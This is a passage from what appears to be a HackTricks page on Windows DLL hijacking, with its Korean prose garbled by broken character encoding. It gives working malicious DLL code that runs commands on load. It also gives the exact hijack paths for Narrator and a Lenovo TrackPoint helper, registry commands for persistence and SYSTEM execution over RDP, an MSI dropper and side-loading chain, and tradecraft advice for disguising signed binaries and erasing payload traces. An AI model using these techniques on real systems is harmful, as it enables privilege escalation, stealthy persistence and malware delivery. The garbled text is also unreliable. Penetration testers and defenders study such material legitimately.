```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll#include<windows.h> #include<stdlib.h> #include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded system(โcmdโ); }
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }
</details>
## ์ฌ๋ก ์ฐ๊ตฌ: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)
Windows Narrator.exe๋ ์์ ์ ์์ธก ๊ฐ๋ฅํ๊ณ ์ธ์ด๋ณ์ธ localization DLL์ ๊ณ์ ํ์(probe)ํ๋ฉฐ, ํด๋น DLL์ hijacked๋์ด arbitrary code execution ๋ฐ persistence๋ฅผ ์ด๋ํ ์ ์์ต๋๋ค.
Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.
Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.
Minimal DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}
OPSEC ๋ฌด์
- ๋จ์ํ hijack์ UI์์ ์์ฑ ์ฌ์/๊ฐ์กฐ๋ฅผ ๋ฐ์์ํต๋๋ค. ์กฐ์ฉํ ์ ์งํ๋ ค๋ฉด, attach ์ Narrator์ ์ค๋ ๋๋ฅผ ์ด๊ฑฐํ๊ณ ๋ฉ์ธ ์ค๋ ๋๋ฅผ ์ด๊ธฐ(
OpenThread(THREAD_SUSPEND_RESUME))ํ ๋คSuspendThread๋ก ์ผ์์ค๋จํ๊ณ , ์์ ๋ง์ ์ค๋ ๋์์ ๊ณ์ ์งํํ์ธ์. ์ ์ฒด ์ฝ๋๋ PoC๋ฅผ ์ฐธ์กฐํ์ธ์.
Trigger and persistence via Accessibility configuration
- User context (HKCU):
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Winlogon/SYSTEM (HKLM):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - ์ ์ค์ ์ผ๋ก Narrator๋ฅผ ์์ํ๋ฉด ์ฌ์ด์ง DLL์ด ๋ก๋๋ฉ๋๋ค. ๋ณด์ ๋ฐ์คํฌํฑ(๋ก๊ทธ์จ ํ๋ฉด)์์ CTRL+WIN+ENTER๋ฅผ ๋๋ฌ Narrator๋ฅผ ์์ํ์ธ์.
RDP-triggered SYSTEM execution (lateral movement)
- Allow classic RDP security layer:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f - ํธ์คํธ์ RDP๋ก ์ ์ํ ๋ค, ๋ก๊ทธ์จ ํ๋ฉด์์ CTRL+WIN+ENTER๋ฅผ ๋๋ฌ Narrator๋ฅผ ์คํํ์ธ์; ๋ณด์ ๋ฐ์คํฌํฑ์์ ๋น์ ์ DLL์ด SYSTEM์ผ๋ก ์คํ๋ฉ๋๋ค.
- RDP ์ธ์ ์ด ์ข ๋ฃ๋๋ฉด ์คํ๋ ์ค๋จ๋ฉ๋๋ค โ ๋น ๋ฅด๊ฒ inject/migrate ํ์ธ์.
Bring Your Own Accessibility (BYOA)
- ๋ด์ฅ Accessibility Tool (AT) ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ(์: CursorIndicator)์ ๋ณต์ ํ๊ณ , ์์์ ๋ฐ์ด๋๋ฆฌ/DLL์ ๊ฐ๋ฆฌํค๋๋ก ํธ์งํ ํ ๊ฐ์ ธ์ค๊ณ
configuration์ ํด๋น AT ์ด๋ฆ์ผ๋ก ์ค์ ํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด Accessibility ํ๋ ์์ํฌ ํ์์ ์์ ์คํ์ ํ๋ก์ํ ์ ์์ต๋๋ค.
Notes
- Writing under
%windir%\System32and changing HKLM values requires admin rights. - ๋ชจ๋ ํ์ด๋ก๋ ๋ก์ง์
DLL_PROCESS_ATTACH์ ๋ค์ด๊ฐ ์ ์์ผ๋ฉฐ, export๋ ํ์ํ์ง ์์ต๋๋ค.
์ฌ๋ก ์ฐ๊ตฌ: CVE-2025-1729 - TPQMAssistant.exe๋ฅผ ์ด์ฉํ ๊ถํ ์์น
์ด ์ฌ๋ก๋ Lenovo์ TrackPoint Quick Menu (TPQMAssistant.exe)์์ Phantom DLL Hijacking์ ๋ณด์ฌ์ฃผ๋ฉฐ, CVE-2025-1729๋ก ์ถ์ ๋ฉ๋๋ค.
์ทจ์ฝ์ ์ธ๋ถ์ฌํญ
- Component:
TPQMAssistant.exelocated atC:\ProgramData\Lenovo\TPQM\Assistant\. - Scheduled Task:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTaskruns daily at 9:30 AM under the context of the logged-on user. - Directory Permissions: Writable by
CREATOR OWNER, allowing local users to drop arbitrary files. - DLL Search Behavior: Attempts to load
hostfxr.dllfrom its working directory first and logs โNAME NOT FOUNDโ if missing, indicating local directory search precedence.
Exploit ๊ตฌํ
๊ณต๊ฒฉ์๋ ๋์ผํ ๋๋ ํฐ๋ฆฌ์ ์
์ฑ hostfxr.dll ์คํ
์ ๋ฐฐ์นํ์ฌ, ๋๋ฝ๋ DLL์ ์
์ฉํด ์ฌ์ฉ์ ์ปจํ
์คํธ์์ ์ฝ๋ ์คํ์ ๋ฌ์ฑํ ์ ์์ต๋๋ค:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
๊ณต๊ฒฉ ํ๋ฆ
- ํ์ค ์ฌ์ฉ์๋ก์
hostfxr.dll์C:\ProgramData\Lenovo\TPQM\Assistant\์ ๋ฐฐ์นํ๋ค. - ํ์ฌ ์ฌ์ฉ์ ์ปจํ ์คํธ์์ ์์ฝ๋ ์์ ์ด ์ค์ 9:30์ ์คํ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฐ๋ค.
- ์์ ์ด ์คํ๋ ๋ ๊ด๋ฆฌ์๊ฐ ๋ก๊ทธ์ธ๋์ด ์์ผ๋ฉด ์ ์ฑ DLL์ด ๊ด๋ฆฌ์์ ์ธ์ ์์ medium integrity๋ก ์คํ๋๋ค.
- ํ์ค UAC bypass ๊ธฐ๋ฒ์ ์ฐ๊ณํ์ฌ medium integrity์์ SYSTEM ๊ถํ์ผ๋ก ์์น์ํจ๋ค.
Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
์ํ ํ์์๋ ์ ๋ขฐ๋ ์๋ช ๋ ํ๋ก์ธ์ค ํ์์ ํ์ด๋ก๋๋ฅผ ์คํํ๊ธฐ ์ํด MSI-based droppers์ DLL side-loading์ ์์ฃผ ๊ฒฐํฉํ๋ค.
Chain overview
- ์ฌ์ฉ์๊ฐ MSI๋ฅผ ๋ค์ด๋ก๋ํ๋ค. GUI ์ค์น ์ค์ CustomAction์ด ์กฐ์ฉํ ์คํ๋์ด(์: LaunchApplication ๋๋ VBScript ์ก์ ) ์๋ฒ ๋๋ ๋ฆฌ์์ค์์ ๋ค์ ๋จ๊ณ๋ฅผ ์ฌ๊ตฌ์ฑํ๋ค.
- dropper๊ฐ ํฉ๋ฒ์ ์ผ๋ก ์๋ช ๋ EXE์ ์ ์ฑ DLL์ ๋์ผํ ๋๋ ํฐ๋ฆฌ์ ์ด๋ค(์: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
- ์๋ช ๋ EXE๊ฐ ์์๋๋ฉด Windows DLL search order๊ฐ ๋จผ์ ์์ ๋๋ ํฐ๋ฆฌ์์ wsc.dll์ ๋ก๋ํ์ฌ ์๋ช ๋ ๋ถ๋ชจ ํ๋ก์ธ์ค ํ์์ ๊ณต๊ฒฉ์ ์ฝ๋๋ฅผ ์คํํ๋ค(ATT&CK T1574.001).
MSI analysis (what to look for)
- CustomAction ํ ์ด๋ธ:
- ์คํ ํ์ผ์ด๋ VBScript๋ฅผ ์คํํ๋ ํญ๋ชฉ์ ์ฐพ๋๋ค. ์์ ์์ฌ ํจํด: ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์๋ฒ ๋๋ ํ์ผ์ ์คํํ๋ LaunchApplication.
- Orca (Microsoft Orca.exe)์์ CustomAction, InstallExecuteSequence ๋ฐ Binary ํ ์ด๋ธ์ ๊ฒ์ฌํ๋ค.
- MSI CAB ์์ ์๋ฒ ๋๋/๋ถํ ํ์ด๋ก๋:
- ๊ด๋ฆฌ์ ์ถ์ถ: msiexec /a package.msi /qb TARGETDIR=C:\out
- ๋๋ lessmsi ์ฌ์ฉ: lessmsi x package.msi C:\out
- VBScript CustomAction์ ์ํด ์ฐ๊ฒฐ๋๊ณ ๋ณตํธํ๋๋ ์ฌ๋ฌ ์์ ์กฐ๊ฐ๋ค์ ์ฐพ๋๋ค. ์ผ๋ฐ์ ์ธ ํ๋ฆ:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
์ค์ sideloading with wsc_proxy.exe
- ๋ค์ ๋ ํ์ผ์ ๊ฐ์ ํด๋์ ๋ฃ์ผ์ธ์:
- wsc_proxy.exe: ์ ์์ ์ผ๋ก ์๋ช ๋ ํธ์คํธ (Avast). ํ๋ก์ธ์ค๋ ํด๋น ๋๋ ํฐ๋ฆฌ์์ ์ด๋ฆ์ผ๋ก wsc.dll์ ๋ก๋ํ๋ ค๊ณ ์๋ํฉ๋๋ค.
- wsc.dll: ๊ณต๊ฒฉ์ DLL. ํน์ exports๊ฐ ํ์ํ์ง ์๋ค๋ฉด DllMain์ผ๋ก ์ถฉ๋ถํฉ๋๋ค; ๊ทธ๋ ์ง ์์ผ๋ฉด proxy DLL์ ๋ง๋ค๊ณ ํ์ํ exports๋ฅผ ์ ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ํฌ์๋ฉํ๋ฉด์ DllMain์์ ํ์ด๋ก๋๋ฅผ ์คํํ์ธ์.
- ์ต์ํ์ DLL ํ์ด๋ก๋๋ฅผ ๋น๋ํ์ธ์:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
-
Export ์๊ตฌ์ฌํญ์ด ์์ ๊ฒฝ์ฐ, ํ๋ก์ ํ๋ ์์ํฌ(์: DLLirant/Spartacus)๋ฅผ ์ฌ์ฉํด ํ์ด๋ก๋๋ ์คํํ๋ ํฌ์๋ฉ DLL์ ์์ฑํ์ธ์.
-
์ด ๊ธฐ๋ฒ์ ํธ์คํธ ๋ฐ์ด๋๋ฆฌ์ ์ํ DLL ์ด๋ฆ ํด์์ ์์กดํฉ๋๋ค. ํธ์คํธ๊ฐ ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ์์ ๋ก๋ฉ ํ๋๊ทธ(์: LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories)๋ฅผ ์ฌ์ฉํ๋ฉด hijack์ด ์คํจํ ์ ์์ต๋๋ค.
-
KnownDLLs, SxS, and forwarded exports๋ ์ฐ์ ์์์ ์ํฅ์ ๋ฏธ์น๋ฏ๋ก ํธ์คํธ ๋ฐ์ด๋๋ฆฌ์ export ์งํฉ์ ์ ํํ ๋ ๋ฐ๋์ ๊ณ ๋ คํด์ผ ํฉ๋๋ค.
Signed triads + encrypted payloads (ShadowPad case study)
Check Point๋ Ink Dragon์ด ํต์ฌ ํ์ด๋ก๋๋ฅผ ๋์คํฌ์ ์ํธํ ์ํ๋ก ์ ์งํ๋ฉด์ ์ ์ ์ํํธ์จ์ด์ ์์ด ๋ฐฐํฌํ๊ธฐ ์ํด three-file triad๋ฅผ ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง ์ค๋ช ํ์ต๋๋ค:
- Signed host EXE โ AMD, Realtek, NVIDIA ๊ฐ์ ๋ฒค๋(์:
vncutil64.exe,ApplicationLogs.exe,msedge_proxyLog.exe)์ ๋ฐ์ด๋๋ฆฌ๊ฐ ์ ์ฉ๋ฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์คํํ์ผ ์ด๋ฆ์ Windows ๋ฐ์ด๋๋ฆฌ์ฒ๋ผ ๋ณด์ด๊ฒ ๋ฐ๊พธ๊ธฐ๋ ํฉ๋๋ค(์:conhost.exe)โํ์ง๋ง Authenticode ์๋ช ์ ๊ทธ๋๋ก ์ ํจํฉ๋๋ค. - Malicious loader DLL โ EXE ์์ ์์ธก ๊ฐ๋ฅํ ์ด๋ฆ์ผ๋ก ๋๋กญ๋ฉ๋๋ค(์:
vncutil64loc.dll,atiadlxy.dll,msedge_proxyLogLOC.dll). ์ด DLL์ ๋ณดํต ScatterBrain ํ๋ ์์ํฌ๋ก ๋๋ ํ๋ MFC ๋ฐ์ด๋๋ฆฌ์ด๋ฉฐ, ์ํธํ๋ ๋ธ๋์ ์ฐพ์ ๋ณตํธํํ๊ณ ShadowPad๋ฅผ reflectively mapํ๋ ์ญํ ๋ง ์ํํฉ๋๋ค. - Encrypted payload blob โ ์ข
์ข
๋์ผ ๋๋ ํฐ๋ฆฌ์
<name>.tmp๋ก ์ ์ฅ๋ฉ๋๋ค. ๋ก๋๊ฐ ๋ณตํธํ๋ ํ์ด๋ก๋๋ฅผ ๋ฉ๋ชจ๋ฆฌ ๋งตํ ํ TMP ํ์ผ์ ์ญ์ ํด ํฌ๋ ์ ํ์ ์ ์ ๊ฑฐํฉ๋๋ค.
Tradecraft notes:
- ์๋ช
๋ EXE์ ์ด๋ฆ์ ๋ฐ๊พธ๋ PE ํค๋์
OriginalFileName์ ์ ์งํ๋ฉด, ๋ฒค๋ ์๋ช ์ ์ ์งํ๋ฉด์ Windows ๋ฐ์ด๋๋ฆฌ์ฒ๋ผ ๊ฐ์ฅํ ์ ์์ต๋๋ค. Ink Dragon์ด ์ค์ ๋ก๋ AMD/NVIDIA ์ ํธ๋ฆฌํฐ์ธconhost.exe์ฒ๋ผ ๋ณด์ด๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋๋กญํ ์ต๊ด์ ๋ชจ๋ฐฉํ์ธ์. - ์คํํ์ผ์ด ์ ๋ขฐ๋ ์ํ๋ก ๋จ์ ์๊ธฐ ๋๋ฌธ์, ๋๋ถ๋ถ์ allowlisting ์ ์ด๋ ์ ์ฑ DLL์ด ๋จ์ง ๊ทธ ์์ ์กด์ฌํ๊ธฐ๋ง ํ๋ฉด ์ถฉ๋ถํฉ๋๋ค. ๋ก๋ DLL ์ปค์คํฐ๋ง์ด์ง์ ์ง์คํ์ธ์; ์๋ช ๋ ๋ถ๋ชจ(EXE)๋ ๋ณดํต ๊ทธ๋๋ก ์คํํ ์ ์์ต๋๋ค.
- ShadowPad์ decryptor๋ TMP ๋ธ๋์ด ๋ก๋ ์์ ์์นํ๊ณ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์ํ์ด๊ธธ ๊ธฐ๋ํ๋ฉฐ, ๋งคํ ํ ํ์ผ์ 0์ผ๋ก ๋ฎ์ด์จ ์ญ์ ํฉ๋๋ค. ํ์ด๋ก๋๊ฐ ๋ก๋๋ ๋๊น์ง ๋๋ ํฐ๋ฆฌ๋ฅผ ์ฐ๊ธฐ ๊ฐ๋ฅ ์ํ๋ก ์ ์งํ์ธ์; ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฌ๋ ์ดํ์๋ TMP ํ์ผ์ OPSEC์ ์ํด ์์ ํ๊ฒ ์ญ์ ํ ์ ์์ต๋๋ค.
References
- CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
- Microsoft Store - TPQM Assistant UWP
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
- Check Point Research โ Nimbus Manticore Deploys New Malware Targeting Europe
- TrustedSec โ Hack-cessibility: When DLL Hijacks Meet Windows Helpers
- PoC โ api0cradle/Narrator-dll
- Sysinternals Process Monitor
- Unit 42 โ Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
- Check Point Research โ Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


